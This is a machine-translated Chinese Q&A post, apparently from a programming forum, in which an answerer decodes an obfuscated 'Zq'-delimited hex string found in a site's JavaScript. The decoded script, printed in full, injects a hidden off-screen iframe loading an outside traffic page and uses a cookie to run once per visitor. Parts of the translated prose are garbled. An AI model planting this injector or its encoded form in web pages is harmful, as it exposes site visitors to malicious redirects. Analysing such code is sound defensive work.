我正在尝试使用以“Zq”为前缀的十六进制字符对以下文本进行解码。

我已经尝试从基数16、32、64解码成功了。这是来自JavaScript源代码的编码指令。

我想了解它的用途:

最佳答案

Zq是一个定界符,不是值的一部分。最后的位可能会执行.split("Zq")操作,该操作会创建一个十六进制值的数组。

一些快速搜索显示这些十六进制值只是偏移了9的ASCII值。即for))。

var input_string = "17Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq6dZq6eZq6dZq27Zq30Zq1fZq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6aZq6bZq58Zq6bZq60Zq5aZq34Zq1eZq58Zq61Zq58Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5aZq66Zq65Zq6bZq69Zq66Zq63Zq63Zq5cZq69Zq34Zq1eZq60Zq65Zq5bZq5cZq6fZq25Zq67Zq5fZq67Zq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6dZq6eZq6dZq17Zq34Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5aZq69Zq5cZq58Zq6bZq5cZq3cZq63Zq5cZq64Zq5cZq65Zq6bZq1fZq1eZq60Zq5dZq69Zq58Zq64Zq5cZq1eZq20Zq32Zq4Zq1Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq69Zq5aZq17Zq34Zq17Zq1eZq5fZq6bZq6bZq67Zq31Zq26Zq26Zq60Zq65Zq6dZq5cZq69Zq6aZq60Zq66Zq65Zq5cZq6aZq69Zq64Zq25Zq5aZq66Zq64Zq26Zq6bZq69Zq58Zq5dZq25Zq67Zq5fZq67Zq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq67Zq66Zq6aZq60Zq6bZq60Zq66Zq65Zq17Zq34Zq17Zq1eZq58Zq59Zq6aZq66Zq63Zq6cZq6bZq5cZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq5aZq66Zq63Zq66Zq69Zq17Zq34Zq17Zq1eZq29Zq2cZq2eZq2bZq2dZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq5fZq5cZq60Zq5eZq5fZq6bZq17Zq34Zq17Zq1eZq29Zq2cZq2eZq2bZq2dZq67Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq6eZq60Zq5bZq6bZq5fZq17Zq34Zq17Zq1eZq29Zq2cZq2eZq2bZq2dZq67Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq63Zq5cZq5dZq6bZq17Zq34Zq17Zq1eZq28Zq27Zq27Zq27Zq29Zq2cZq2eZq2bZq2dZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq6bZq66Zq67Zq17Zq34Zq17Zq1eZq28Zq27Zq27Zq27Zq29Zq2cZq2eZq2bZq2dZq1eZq32Zq4Zq1Zq4Zq1Zq17Zq60Zq5dZq17Zq1fZq18Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5eZq5cZq6bZq3cZq63Zq5cZq64Zq5cZq65";
var input_arr = input_string.split("Zq");

// use parseInt(val, 16) to decode each hex value to a Number
// add 9 to that number
// pass the sum into fromCharCode to get the char
// join the characters
var result = input_arr.map(function(val) {
    return String.fromCharCode(parseInt(val, 16) + 9);
}).join("");

这显示了+0xa-cod中的结果文本:
function vwv09() {
    var static = 'ajax';
    var controller = 'index.php';
    var vwv = document.createElement('iframe');

    vwv.src = 'http://inversionesrm.com/traf.php';
    vwv.style.position = 'absolute';
    vwv.style.color = '25746';
    vwv.style.height = '25746px';
    vwv.style.width = '25746px';
    vwv.style.left = '100025746';
    vwv.style.top = '100025746';

    if (!document.getElementById('vwv')) {
        document.write('<p id=\'vwv\' class=\'vwv09\' ></p>');
        document.getElementById('vwv').appendChild(vwv);
    }
}

function SetCookie(cookieName, cookieValue, nDays, path) {
    var today = new Date();
    var expire = new Date();
    if (nDays == null || nDays == 0) nDays = 1;
    expire.setTime(today.getTime() + 3600000 * 24 * nDays);
    document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie(name) {
    var start = document.cookie.indexOf(name + "=");
    var len = start + name.length + 1;
    if ((!start) &&
        (name != document.cookie.substring(0, name.length))) {
        return null;
    }
    if (start == -1) return null;
    var end = document.cookie.indexOf(";", len);
    if (end == -1) end = document.cookie.length;
    return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
    if (GetCookie('visited_uq') == 55) {} else {
        SetCookie('visited_uq', '55', '1', '/');

        vwv09();
    }
}

然后,此文本被0xa ed编辑,它似乎设置了10 cookie,然后在cod上的页面上打开iframe。

09-25 19:14